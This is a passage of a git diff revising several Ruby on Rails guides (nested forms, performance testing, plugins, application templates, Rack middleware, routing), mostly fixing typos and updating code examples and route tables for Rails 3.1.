15, 2010: minor typos corrected by "Jaime Iniesta":http://jaimeiniesta.com -* September 14, 2008: initial version by "Frederick Cheung":credits.html#fcheung diff --git a/railties/guides/source/nested_model_forms.textile b/railties/guides/source/nested_model_forms.textile index 55694c0eb4..4b1fd2e0ac 100644 --- a/railties/guides/source/nested_model_forms.textile +++ b/railties/guides/source/nested_model_forms.textile @@ -90,7 +90,7 @@ h3. Views h4. Controller code -A nested model form will _only_ be build if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first. +A nested model form will _only_ be built if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first. Consider the following typical RESTful controller which will prepare a new Person instance and its +address+ and +projects+ associations before rendering the +new+ template: @@ -144,7 +144,7 @@ Now add a nested form for the +address+ association: <%= f.text_field :name %> <%= f.fields_for :address do |af| %> - <%= f.text_field :street %> + <%= af.text_field :street %> <% end %> <% end %> </erb> @@ -159,7 +159,7 @@ This generates: </form> </html> -Notice that +fields_for+ recognized the +address+ as an association for which a nested model form should be build by the way it has namespaced the +name+ attribute. +Notice that +fields_for+ recognized the +address+ as an association for which a nested model form should be built by the way it has namespaced the +name+ attribute. When this form is posted the Rails parameter parser will construct a hash like the following: @@ -185,7 +185,7 @@ The form code for an association collection is pretty similar to that of a singl <%= f.text_field :name %> <%= f.fields_for :projects do |pf| %> - <%= f.text_field :name %> + <%= pf.text_field :name %> <% end %> <% end %> </erb> @@ -201,7 +201,7 @@ Which generates: </form> </html> -As you can see it has generated 2 +project name+ inputs, one for each new +project+ that’s build in the controllers +new+ action. Only this time the +name+ attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as: +As you can see it has generated 2 +project name+ inputs, one for each new +project+ that was built in the controller's +new+ action. Only this time the +name+ attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as: <ruby> { @@ -215,7 +215,7 @@ As you can see it has generated 2 +project name+ inputs, one for each new +proje } </ruby> -You can basically see the +projects_attributes+ hash as an array of attribute hashes. One for each model instance. +You can basically see the +projects_attributes+ hash as an array of attribute hashes, one for each model instance. NOTE: The reason that +fields_for+ constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep. diff --git a/railties/guides/source/performance_testing.textile b/railties/guides/source/performance_testing.textile index 2b79237c59..f3ea7e38bc 100644 --- a/railties/guides/source/performance_testing.textile +++ b/railties/guides/source/performance_testing.textile @@ -66,7 +66,7 @@ resources :posts # home_controller.rb class HomeController < ApplicationController def dashboard - @users = User.last_ten(:include => :avatars) + @users = User.last_ten.includes(:avatars) @posts = Post.all_today end end @@ -151,7 +151,7 @@ Performance tests can be run in two modes: Benchmarking and Profiling. h5. Benchmarking -Benchmarking makes it easy to quickly gather a few metrics about each test tun. By default, each test case is run +4 times+ in benchmarking mode. +Benchmarking makes it easy to quickly gather a few metrics about each test tun. By default, each test case is run *4 times* in benchmarking mode. To run performance tests in benchmarking mode: @@ -161,7 +161,7 @@ $ rake test:benchmark h5. Profiling -Profiling allows you to make an in-depth analysis of each of your tests by using an external profiler. Depending on your Ruby interpreter, this profiler can be native (Rubinius, JRuby) or not (MRI, which uses RubyProf). By default, each test case is run +1 time+ in profiling mode. +Profiling allows you to make an in-depth analysis of each of your tests by using an external profiler. Depending on your Ruby interpreter, this profiler can be native (Rubinius, JRuby) or not (MRI, which uses RubyProf). By default, each test case is run *once* in profiling mode. To run performance tests in profiling mode: @@ -207,7 +207,7 @@ GC Time measures the amount of time spent in GC for the performance test case. h5. Metric Availability -h6. Benchmarking +h6(#benchmarking_1). Benchmarking |_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time| |_.MRI | yes | yes | yes | no | yes | yes | yes | yes | @@ -215,7 +215,7 @@ h6. Benchmarking |_.Rubinius | yes | no | no | no | yes | yes | yes | yes | |_.JRuby | yes | no | no | yes | yes | yes | yes | yes | -h6. Profiling +h6(#profiling_1). Profiling |_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time| |_.MRI | yes | yes | no | no | yes | yes | yes | yes | @@ -276,7 +276,7 @@ measurement,created_at,app,rails,ruby,platform h5(#output-profiling). Profiling -In profiling mode, performance tests can generate multiple types of outputs. The command line output is always presented but support for the others is dependant on the interpreter in use. A brief description of each type and their availability across interpreters is given below. +In profiling mode, performance tests can generate multiple types of outputs. The command line output is always presented but support for the others is dependent on the interpreter in use. A brief description of each type and their availability across interpreters is given below. h6. Command Line @@ -438,9 +438,9 @@ alias gcrails='~/rubygc/bin/rails' Don't forget to use your aliases from now on. -h6. Install Rubygems (1.8 only!) +h6. Install RubyGems (1.8 only!) -Download "Rubygems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions. Please note that this step isn't necessary if you've installed Ruby 1.9 and above. +Download "RubyGems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions. Please note that this step isn't necessary if you've installed Ruby 1.9 and above. h4. Using Ruby-Prof on MRI and REE @@ -481,7 +481,7 @@ h4. +profiler+ Usage: <shell> -Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS] +Usage: rails profiler 'Ruby.code' 'Ruby.more_code' ... [OPTS] -r, --runs N Number of runs. Default: 1 -o, --output PATH Directory to use when writing the results. @@ -573,7 +573,7 @@ h3. Useful Links h4. Rails Plugins and Gems * "Rails Analyzer":http://rails-analyzer.rubyforge.org -* "Palmist":http://www.flyingmachinestudios.com/projects/ +* "Palmist":http://www.flyingmachinestudios.com/programming/announcing-palmist * "Rails Footnotes":https://github.com/josevalim/rails-footnotes/tree/master * "Query Reviewer":https://github.com/dsboulder/query_reviewer/tree/master @@ -595,9 +595,3 @@ Rails has been lucky to have a few companies dedicated to Rails-specific perform * "New Relic":http://www.newrelic.com * "Scout":http://scoutapp.com - -h3. Changelog - -* March 30, 2011: Documented the recent improvements (multiple interpreters, options, etc) and necessary adjustments. Other minor improvements. "Gonçalo Silva":http://goncalossilva.com. -* January 9, 2009: Complete rewrite by "Pratik":credits.html#lifo -* September 6, 2008: Initial version by Matthew Bergman diff --git a/railties/guides/source/plugins.textile b/railties/guides/source/plugins.textile index d486e8ade3..5cfd336d1e 100644 --- a/railties/guides/source/plugins.textile +++ b/railties/guides/source/plugins.textile @@ -25,33 +25,36 @@ endprologue. h3. Setup -h4. Generating the Plugin Skeleton +Before you continue, take a moment to decide if your new plugin will be potentially shared across different Rails applications. -Rails currently ships with a generator to generate a plugin within a Rails application. Help text is available that will explain -how this generator works. +* If your plugin is specific to your application, your new plugin will be a _vendored plugin_. +* If you think your plugin may be used across applications, build it as a _gemified plugin_. + +h4. Either generate a vendored plugin... + +Use the +rails generate plugin+ command in your Rails root directory + to create a new plugin that will live in the +vendor/plugins+ + directory. See usage and options by asking for help: <shell> $ rails generate plugin --help </shell> -This generator places the plugin into the vendor/plugins directory. +h4. Or generate a gemified plugin. -Vendored plugins are useful for quickly prototyping your plugin but current thinking in the Rails community is shifting towards -packaging plugins as gems, especially with the inclusion of Bundler as the Rails dependency manager. -Packaging a plugin as a gem may be overkill for any plugins that will not be shared across projects but doing so from the start makes it easier to share the plugin going forward without adding too much additional overhead during development. +Writing your Rails plugin as a gem, rather than as a vendored plugin, + lets you share your plugin across different rails applications using + RubyGems and Bundler. -Rails 3.1 will ship with a plugin generator that will default to setting up a plugin -as a gem. This tutorial will begin to bridge that gap by demonstrating how to create a gem based plugin using the -"Enginex gem":http://www.github.com/josevalim/enginex. +Rails 3.1 ships with a +rails plugin new+ command which creates a + skeleton for developing any kind of Rails extension with the ability + to run integration tests using a dummy Rails application. See usage + and options by asking for help: <shell> -$ gem install enginex -$ enginex --help -$ enginex yaffle +$ rails plugin --help </shell> -This command will create a new directory named "yaffle" within the current directory. - h3. Testing your newly generated plugin You can navigate to the directory that contains the plugin, run the +bundle install+ command @@ -83,7 +86,7 @@ class CoreExtTest < Test::Unit::TestCase end </ruby> -Run +rake+ to run the test. This test should fail because we haven't implemented the +to_squak+ method: +Run +rake+ to run the test. This test should fail because we haven't implemented the +to_squawk+ method: <shell> 1) Error: @@ -215,8 +218,8 @@ test/dummy directory: <shell> $ cd test/dummy -$ rails generate model Hickwall last_squak:string -$ rails generate model Wickwall last_squak:string last_tweet:string +$ rails generate model Hickwall last_squawk:string +$ rails generate model Wickwall last_squawk:string last_tweet:string </shell> Now you can create the necessary database tables in your testing database by navigating to your dummy app @@ -287,7 +290,7 @@ You can then return to the root directory (+cd ../..+) of your plugin and rerun </shell> -Getting closer...now we will implement the code of the acts_as_yaffle method to make the tests pass. +Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass. <ruby> # yaffle/lib/yaffle/acts_as_yaffle.rb @@ -319,7 +322,7 @@ When you run +rake+ you should see the tests all pass: h4. Add an Instance Method -This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'. The 'squawk' +This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk' method will simply set the value of one of the fields in the database. To start out, write a failing test that shows the behavior you'd like: @@ -344,7 +347,7 @@ class ActsAsYaffleTest < Test::Unit::TestCase assert_equal "squawk! Hello World", hickwall.last_squawk end - def test_wickwalls_squawk_should_populate_last_tweeted_at + def test_wickwalls_squawk_should_populate_last_tweet wickwall = Wickwall.new wickwall.squawk("Hello World") assert_equal "squawk! Hello World", wickwall.last_tweet @@ -352,7 +355,7 @@ class ActsAsYaffleTest < Test::Unit::TestCase end </ruby> -Run the test to make sure the last two tests fail the an error that contains "NoMethodError: undefined method `squawk'", +Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'", then update 'acts_as_yaffle.rb' to look like this: <ruby> @@ -383,13 +386,12 @@ ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle </ruby> Run +rake+ one final time and you should see: + <shell> 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips </shell> -NOTE: The use of +write_attribute+ to write to the field in model is just one example of how a plugin can -interact with the model, and will not always be the right method to use. For example, you could also -use +send("#{self.class.yaffle_text_field}=", string.to_squawk)+. +NOTE: The use of +write_attribute+ to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use <tt>send("#{self.class.yaffle_text_field}=", string.to_squawk)</tt>. h3. Generators @@ -398,11 +400,11 @@ the creation of generators can be found in the "Generators Guide":generators.htm h3. Publishing your Gem -Gem plugins in progress can be easily be shared from any Git repository. To share the Yaffle gem with others, simply -commit the code to a Git repository (like Github) and add a line to the Gemfile of the any application: +Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply +commit the code to a Git repository (like Github) and add a line to the Gemfile of the application in question: <ruby> -gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git' +gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git' </ruby> After running +bundle install+, your gem functionality will be available to the application. @@ -424,11 +426,12 @@ require 'yaffle' </ruby> You can test this by changing to the Rails application that you added the plugin to and starting a rails console. Once in the -console we can check to see if the String has an instance method of to_squawk. +console we can check to see if the String has an instance method to_squawk: + <shell> $ cd my_app $ rails console -$ String.instance_methods.sort +$ "Rails plugins are easy!".to_squawk </shell> You can also remove the .gemspec, Gemfile and Gemfile.lock files as they will no longer be needed. @@ -442,9 +445,9 @@ The first step is to update the README file with detailed information about how * Your name * How to install * How to add the functionality to the app (several examples of common use cases) -* Warning, gotchas or tips that might help save users time +* Warnings, gotchas or tips that might help users and save them time -Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not part of the public api. +Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not included in the public api. Once your comments are good to go, navigate to your plugin directory and run: @@ -459,11 +462,3 @@ h4. References * "Gemspec Reference":http://docs.rubygems.org/read/chapter/20 * "GemPlugins":http://www.mbleigh.com/2008/06/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins * "Keeping init.rb thin":http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html - -h3. Changelog - -* March 10, 2011: Minor formatting tweaks. -* February 13, 2011: Get guide in synch with Rails 3.0.3. Remove information not compatible with Rails 3. Send reader elsewhere -for information that is covered elsewhere. -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 17, 2008: Major revision by Jeff Dean diff --git a/railties/guides/source/rails_application_templates.textile b/railties/guides/source/rails_application_templates.textile index 388d8eea3e..3b51a52733 100644 --- a/railties/guides/source/rails_application_templates.textile +++ b/railties/guides/source/rails_application_templates.textile @@ -1,6 +1,6 @@ h2. Rails Application Templates -Application templates are simple ruby files containing DSL for adding plugins/gems/initializers etc. to your freshly created Rails project or an existing Rails project. +Application templates are simple Ruby files containing DSL for adding plugins/gems/initializers etc. to your freshly created Rails project or an existing Rails project. By referring to this guide, you will be able to: @@ -11,22 +11,18 @@ endprologue. h3. Usage -To apply a template, you need to provide the Rails generator with the location of the template you wish to apply, using -m option: +To apply a template, you need to provide the Rails generator with the location of the template you wish to apply, using -m option. This can either be path to a file or a URL. <shell> $ rails new blog -m ~/template.rb +$ rails new blog -m http://example.com/template.rb </shell> -It's also possible to apply a template using a URL: - -<shell> -$ rails new blog -m https://gist.github.com/755496.txt -</shell> - -Alternatively, you can use the rake task +rails:template+ to apply a template to an existing Rails application: +You can use the rake task +rails:template+ to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL. <shell> $ rake rails:template LOCATION=~/template.rb +$ rake rails:template LOCATION=http://example.com/template.rb </shell> h3. Template API @@ -58,13 +54,23 @@ gem "bj" gem "nokogiri" </ruby> -Please note that this will NOT install the gems for you. So you may want to run the +rake gems:install+ task too: +Please note that this will NOT install the gems for you and you will have to run +bundle install+ to do that. <ruby> -rake "gems:install" +bundle install </ruby> -And let Rails take care of installing the required gems if they’re not already installed. +h4. gem_group(*names, &block) + +Wraps gem entries inside a group. + +For example, if you want to load +rspec-rails+ only in +development+ and +test+ group: + +<ruby> +gem_group :development, :test do + gem "rspec-rails" +end +</ruby> h4. add_source(source, options = {}) @@ -154,7 +160,7 @@ The above creates +lib/tasks/bootstrap.rake+ with a +boot:strap+ rake task. h4. generate(what, args) -Runs the supplied rails generator with given arguments. For example, I love to scaffold some whenever I’m playing with Rails: +Runs the supplied rails generator with given arguments. <ruby> generate(:scaffold, "person", "name:string", "address:text", "age:number") @@ -182,12 +188,6 @@ You can also run rake tasks with a different Rails environment: rake "db:migrate", :env => 'production' </ruby> -Or even use sudo: - -<ruby> -rake "gems:install", :sudo => true -</ruby> - h4. route(routing_code) This adds a routing entry to the +config/routes.rb+ file. In above steps, we generated a person scaffold and also removed +public/index.html+. Now to make +PeopleController#index+ as the default page for the application: @@ -229,7 +229,7 @@ rake("rails:freeze:gems") if yes?("Freeze rails gems ?") no?(question) acts just the opposite. </ruby> -h4. git(:must => "-a love") +h4. git(:command) Rails templates let you run any git command: @@ -238,7 +238,3 @@ git :init git :add => "." git :commit => "-a -m 'Initial commit'" </ruby> - -h3. Changelog - -* April 29, 2009: Initial version by "Pratik":credits.html#lifo diff --git a/railties/guides/source/rails_on_rack.textile b/railties/guides/source/rails_on_rack.textile index aa53aa6db6..d6cbd84b1f 100644 --- a/railties/guides/source/rails_on_rack.textile +++ b/railties/guides/source/rails_on_rack.textile @@ -89,36 +89,45 @@ $ rake middleware For a freshly generated Rails application, this might produce something like: <ruby> +use ActionDispatch::Static use Rack::Lock -use ActionController::Failsafe -use ActionController::Session::CookieStore, , {:secret=>"<secret>", :session_key=>"_<app>_session"} -use Rails::Rack::Metal -use ActionDispatch::RewindableInput -use ActionController::ParamsParser -use Rack::MethodOverride -use Rack::Head +use ActiveSupport::Cache::Strategy::LocalCache +use Rack::Runtime +use Rails::Rack::Logger +use ActionDispatch::ShowExceptions +use ActionDispatch::RemoteIp +use Rack::Sendfile +use ActionDispatch::Callbacks +use ActiveRecord::ConnectionAdapters::ConnectionManagement use ActiveRecord::QueryCache -run ActionController::Dispatcher.new +use ActionDispatch::Cookies +use ActionDispatch::Session::CookieStore +use ActionDispatch::Flash +use ActionDispatch::ParamsParser +use Rack::MethodOverride +use ActionDispatch::Head +use ActionDispatch::BestStandardsSupport +run Blog::Application.routes </ruby> Purpose of each of this middlewares is explained in the "Internal Middlewares":#internal-middleware-stack section. h4. Configuring Middleware Stack -Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +environment.rb+ or the environment specific configuration file <tt>environments/<environment>.rb</tt>. +Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +application.rb+ or the environment specific configuration file <tt>environments/<environment>.rb</tt>. h5. Adding a Middleware You can add a new middleware to the middleware stack using any of the following methods: -* +config.middleware.use(new_middleware, args)+ - Adds the new middleware at the bottom of the middleware stack. +* <tt>config.middleware.use(new_middleware, args)</tt> - Adds the new middleware at the bottom of the middleware stack. -* +config.middleware.insert_before(existing_middleware, new_middleware, args)+ - Adds the new middleware before the specified existing middleware in the middleware stack. +* <tt>config.middleware.insert_before(existing_middleware, new_middleware, args)</tt> - Adds the new middleware before the specified existing middleware in the middleware stack. -* +config.middleware.insert_after(existing_middleware, new_middleware, args)+ - Adds the new middleware after the specified existing middleware in the middleware stack. +* <tt>config.middleware.insert_after(existing_middleware, new_middleware, args)</tt> - Adds the new middleware after the specified existing middleware in the middleware stack. <ruby> -# config/environment.rb +# config/application.rb # Push Rack::BounceFavicon at the bottom config.middleware.use Rack::BounceFavicon @@ -133,7 +142,7 @@ h5. Swapping a Middleware You can swap an existing middleware in the middleware stack using +config.middleware.swap+. <ruby> -# config/environment.rb +# config/application.rb # Replace ActionController::Failsafe with Lifo::Failsafe config.middleware.swap ActionController::Failsafe, Lifo::Failsafe @@ -154,20 +163,21 @@ h4. Internal Middleware Stack Much of Action Controller's functionality is implemented as Middlewares. The following table explains the purpose of each of them: |_.Middleware|_.Purpose| -|+Rack::Lock+|Sets +env["rack.multithread"]+ flag to +true+ and wraps the application within a Mutex.| +|+Rack::Lock+|Sets <tt>env["rack.multithread"]</tt> flag to +true+ and wraps the application within a Mutex.| |+ActionController::Failsafe+|Returns HTTP Status +500+ to the client if an exception gets raised while dispatching.| |+ActiveRecord::QueryCache+|Enables the Active Record query cache.| -|+ActionController::Session::CookieStore+|Uses the cookie based session store.| -|+ActionController::Session::MemCacheStore+|Uses the memcached based session store.| +|+ActionDispatch::Session::CookieStore+|Uses the cookie based session store.| +|+ActionDispatch::Session::CacheStore+|Uses the Rails cache based session store.| +|+ActionDispatch::Session::MemCacheStore+|Uses the memcached based session store.| |+ActiveRecord::SessionStore+|Uses the database based session store.| -|+Rack::MethodOverride+|Sets HTTP method based on +_method+ parameter or +env["HTTP_X_HTTP_METHOD_OVERRIDE"]+.| +|+Rack::MethodOverride+|Sets HTTP method based on +_method+ parameter or <tt>env["HTTP_X_HTTP_METHOD_OVERRIDE"]</tt>.| |+Rack::Head+|Discards the response body if the client sends a +HEAD+ request.| TIP: It's possible to use any of the above middlewares in your custom Rack stack. h4. Customizing Internal Middleware Stack -It's possible to replace the entire middleware stack with a custom stack using +ActionController::Dispatcher.middleware=+. +It's possible to replace the entire middleware stack with a custom stack using <tt>ActionController::Dispatcher.middleware=</tt>. Put the following in an initializer: @@ -198,7 +208,7 @@ The following shows how to replace use +Rack::Builder+ instead of the Rails supp <strong>Clear the existing Rails middleware stack</strong> <ruby> -# environment.rb +# config/application.rb config.middleware.clear </ruby> @@ -207,7 +217,7 @@ config.middleware.clear <ruby> # config.ru -use MyOwnStackFromStratch +use MyOwnStackFromScratch run ActionController::Dispatcher.new </ruby> @@ -223,8 +233,3 @@ h4. Learning Rack h4. Understanding Middlewares * "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware - -h3. Changelog - -* February 7, 2009: Second version by "Pratik":credits.html#lifo -* January 11, 2009: First version by "Pratik":credits.html#lifo diff --git a/railties/guides/source/routing.textile b/railties/guides/source/routing.textile index 99fdcee68a..f281009fee 100644 --- a/railties/guides/source/routing.textile +++ b/railties/guides/source/routing.textile @@ -68,7 +68,7 @@ Rails would dispatch that request to the +destroy+ method on the +photos+ contro h4. CRUD, Verbs, and Actions -In Rails, a resourceful route provides a mapping between HTTP verbs and URLs and controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as +In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as <ruby> resources :photos @@ -94,8 +94,8 @@ Creating a resourceful route will also expose a number of helpers to the control * +photos_path+ returns +/photos+ * +new_photo_path+ returns +/photos/new+ -* +edit_photo_path(id)+ returns +/photos/:id/edit+ (for instance, +edit_photo_path(10)+ returns +/photos/10/edit+) -* +photo_path(id)+ returns +/photos/:id+ (for instance, +photo_path(10)+ returns +/photos/10+) +* +edit_photo_path(:id)+ returns +/photos/:id/edit+ (for instance, +edit_photo_path(10)+ returns +/photos/10/edit+) +* +photo_path(:id)+ returns +/photos/:id+ (for instance, +photo_path(10)+ returns +/photos/10+) Each of these helpers has a corresponding +_url+ helper (such as +photos_url+) which returns the same path prefixed with the current host, port and path prefix. @@ -163,14 +163,14 @@ end This will create a number of routes for each of the +posts+ and +comments+ controller. For +Admin::PostsController+, Rails will create: -|_.HTTP Verb |_.Path |_.action |_.named helper | -|GET |/admin/posts |index | admin_posts_path | -|GET |/admin/posts/new |new | new_admin_posts_path | -|POST |/admin/posts |create | admin_posts_path | -|GET |/admin/posts/1 |show | admin_post_path(id) | -|GET |/admin/posts/1/edit |edit | edit_admin_post_path(id) | -|PUT |/admin/posts/1 |update | admin_post_path(id) | -|DELETE |/admin/posts/1 |destroy | admin_post_path(id) | +|_.HTTP Verb |_.Path |_.action |_.named helper | +|GET |/admin/posts |index | admin_posts_path | +|GET |/admin/posts/new |new | new_admin_post_path | +|POST |/admin/posts |create | admin_posts_path | +|GET |/admin/posts/:id |show | admin_post_path(:id) | +|GET |/admin/posts/:id/edit |edit | edit_admin_post_path(:id) | +|PUT |/admin/posts/:id |update | admin_post_path(:id) | +|DELETE |/admin/posts/:id |destroy | admin_post_path(:id) | If you want to route +/posts+ (without the prefix +/admin+) to +Admin::PostsController+, you could use @@ -204,12 +204,12 @@ In each of these cases, the named routes remain the same as if you did not use + |_.HTTP Verb |_.Path |_.action |_.named helper | |GET |/admin/posts |index | posts_path | -|GET |/admin/posts/new |new | posts_path | +|GET |/admin/posts/new |new | new_post_path | |POST |/admin/posts |create | posts_path | -|GET |/admin/posts/1 |show | post_path(id) | -|GET |/admin/posts/1/edit |edit | edit_post_path(id) | -|PUT |/admin/posts/1 |update | post_path(id) | -|DELETE |/admin/posts/1 |destroy | post_path(id) | +|GET |/admin/posts/:id |show | post_path(:id) | +|GET |/admin/posts/:id/edit|edit | edit_post_path(:id)| +|PUT |/admin/posts/:id |update | post_path(:id) | +|DELETE |/admin/posts/:id |destroy | post_path(:id) | h4. Nested Resources @@ -236,13 +236,13 @@ end In addition to the routes for magazines, this declaration will also route ads to an +AdsController+. The ad URLs require a magazine: |_.HTTP Verb |_.Path |_.action |_.used for | -|GET |/magazines/1/ads |index |display a list of all ads for a specific magazine | -|GET |/magazines/1/ads/new |new |return an HTML form for creating a new ad belonging to a specific magazine | -|POST |/magazines/1/ads |create |create a new ad belonging to a specific magazine | -|GET |/magazines/1/ads/1 |show |display a specific ad belonging to a specific magazine | -|GET |/magazines/1/ads/1/edit |edit |return an HTML form for editing an ad belonging to a specific magazine | -|PUT |/magazines/1/ads/1 |update |update a specific ad belonging to a specific magazine | -|DELETE |/magazines/1/ads/1 |destroy |delete a specific ad belonging to a specific magazine | +|GET |/magazines/:id/ads |index |display a list of all ads for a specific magazine | +|GET |/magazines/:id/ads/new |new |return an HTML form for creating a new ad belonging to a specific magazine | +|POST |/magazines/:id/ads |create |create a new ad belonging to a specific magazine | +|GET |/magazines/:id/ads/:id |show |display a specific ad belonging to a specific magazine | +|GET |/magazines/:id/ads/:id/edit |edit |return an HTML form for editing an ad belonging to a specific magazine | +|PUT |/magazines/:id/ads/:id |update |update a specific ad belonging to a specific magazine | +|DELETE |/magazines/:id/ads/:id |destroy |delete a specific ad belonging to a specific magazine | This will also create routing helpers such as +magazine_ads_url+ and +edit_magazine_ad_path+. These helpers take an instance of Magazine as the first parameter (+magazine_ads_url(@magazine)+). @@ -288,7 +288,7 @@ When using +magazine_ad_path+, you can pass in instances of +Magazine+ and +Ad+ You can also use +url_for+ with a set of objects, and Rails will automatically determine which route you want: <erb> -<%= link_to "Ad details", url_for(@magazine, @ad) %> +<%= link_to "Ad details", url_for([@magazine, @ad]) %> </erb> In this case, Rails will see that +@magazine+ is a +Magazine+ and +@ad+ is an +Ad+ and will therefore use the +magazine_ad_path+ helper. In helpers like +link_to+, you can specify just the object in place of the full +url_for+ call: @@ -560,13 +560,19 @@ would match +zoo/woo/foo/bar/baz+ with +params[:a]+ equals +"zoo/woo"+, and +par NOTE: Starting from Rails 3.1, wildcard routes will always match the optional format segment by default. For example if you have this route: <ruby> -map '*pages' => 'pages#show' +match '*pages' => 'pages#show' </ruby> NOTE: By requesting +"/foo/bar.json"+, your +params[:pages]+ will be equals to +"foo/bar"+ with the request format of JSON. If you want the old 3.0.x behavior back, you could supply +:format => false+ like this: <ruby> -map '*pages' => 'pages#show', :format => false +match '*pages' => 'pages#show', :format => false +</ruby> + +NOTE: If you want to make the format segment mandatory, so it cannot be omitted, you can supply +:format => true+ like this: + +<ruby> +match '*pages' => 'pages#show', :format => true </ruby> h4. Redirection @@ -590,6 +596,8 @@ match "/stories/:name" => redirect {|params| "/posts/#{params[:name].pluralize}" match "/stories" => redirect {|p, req| "/posts/#{req.subdomain}" } </ruby> +Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. + In all of these cases, if you don't provide the leading host (+http://www.example.com+), Rails will take those details from the current request. h4. Routing to Rack Applications @@ -628,16 +636,16 @@ resources :photos, :controller => "images" will recognize incoming paths beginning with +/photos+ but route to the +Images+ controller: -|_.HTTP Verb |_.Path |_.action |_.named helper | -|GET |/photos |index | photos_path | -|GET |/photos/new |new | new_photo_path | -|POST |/photos |create | photos_path | -|GET |/photos/1 |show | photo_path(id) | -|GET |/photos/1/edit |edit | edit_photo_path(id) | -|PUT |/photos/1 |update | photo_path(id) | -|DELETE |/photos/1 |destroy | photo_path(id) | +|_.HTTP Verb |_.Path |_.action |_.named helper | +|GET |/photos |index | photos_path | +|GET |/photos/new |new | new_photo_path | +|POST |/photos |create | photos_path | +|GET |/photos/:id |show | photo_path(:id) | +|GET |/photos/:id/edit |edit | edit_photo_path(:id) | +|PUT |/photos/:id |update | photo_path(:id) | +|DELETE |/photos/:id |destroy | photo_path(:id) | -NOTE: Use +photos_path+, +new_photos_path+, etc. to generate paths for this resource. +NOTE: Use +photos_path+, +new_photo_path+, etc. to generate paths for this resource. h4. Specifying Constraints @@ -672,14 +680,14 @@ resources :photos, :as => "images" will recognize incoming paths beginning with +/photos+ and route the requests to +PhotosController+, but use the value of the :as option to name the helpers. -|_.HTTP verb|_.Path |_.action |_.named helper | -|GET |/photos |index | images_path | -|GET |/photos/new |new | new_image_path | -|POST |/photos |create | images_path | -|GET |/photos/1 |show | image_path(id) | -|GET |/photos/1/edit |edit | edit_image_path(id) | -|PUT |/photos/1 |update | image_path(id) | -|DELETE |/photos/1 |destroy | image_path(id) | +|_.HTTP verb|_.Path |_.action |_.named helper | +|GET |/photos |index | images_path | +|GET |/photos/new |new | new_image_path | +|POST |/photos |create | images_path | +|GET |/photos/:id |show | image_path(:id) | +|GET |/photos/:id/edit |edit | edit_image_path(:id) | +|PUT |/photos/:id |update | image_path(:id) | +|DELETE |/photos/:id |destroy | image_path(:id) | h4. Overriding the +new+ and +edit+ Segments @@ -776,14 +784,14 @@ end Rails now creates routes to the +CategoriesController+. -|_.HTTP verb|_.Path |_.action |_.named helper | -|GET |/kategorien |index | categories_path | -|GET |/kategorien/neu |new | new_category_path | -|POST |/kategorien |create | categories_path | -|GET |/kategorien/1 |show | category_path(id) | -|GET |/kategorien/1/bearbeiten |edit | edit_category_path(id) | -|PUT |/kategorien/1 |update | category_path(id) | -|DELETE |/kategorien/1 |destroy | category_path(id) | +|_.HTTP verb|_.Path |_.action |_.named helper | +|GET |/kategorien |index | categories_path | +|GET |/kategorien/neu |new | new_category_path | +|POST |/kategorien |create | categories_path | +|GET |/kategorien/:id |show | category_path(:id) | +|GET |/kategorien/:id/bearbeiten |edit | edit_category_path(:id) | +|PUT |/kategorien/:id |update | category_path(:id) | +|DELETE |/kategorien/:id |destroy | category_path(:id) | h4. Overriding the Singular Form @@ -823,10 +831,10 @@ If you want a complete list of all of the available routes in your application, For example, here's a small section of the +rake routes+ output for a RESTful route: <pre> - users GET /users {:controller=>"users", :action=>"index"} -formatted_users GET /users.:format {:controller=>"users", :action=>"index"} - POST /users {:controller=>"users", :action=>"create"} - POST /users.:format {:controller=>"users", :action=>"create"} + users GET /users(.:format) users#index + POST /users(.:format) users#create + new_user GET /users/new(.:format) users#new +edit_user GET /users/:id/edit(.:format) users#edit </pre> You may restrict the listing to the routes that map to a particular controller setting the +CONTROLLER+ environment variable: @@ -875,12 +883,3 @@ The +assert_routing+ assertion checks the route both ways: it tests that the pat <ruby> assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }) </ruby> - -h3. Changelog - -* April 10, 2010: Updated guide to remove outdated 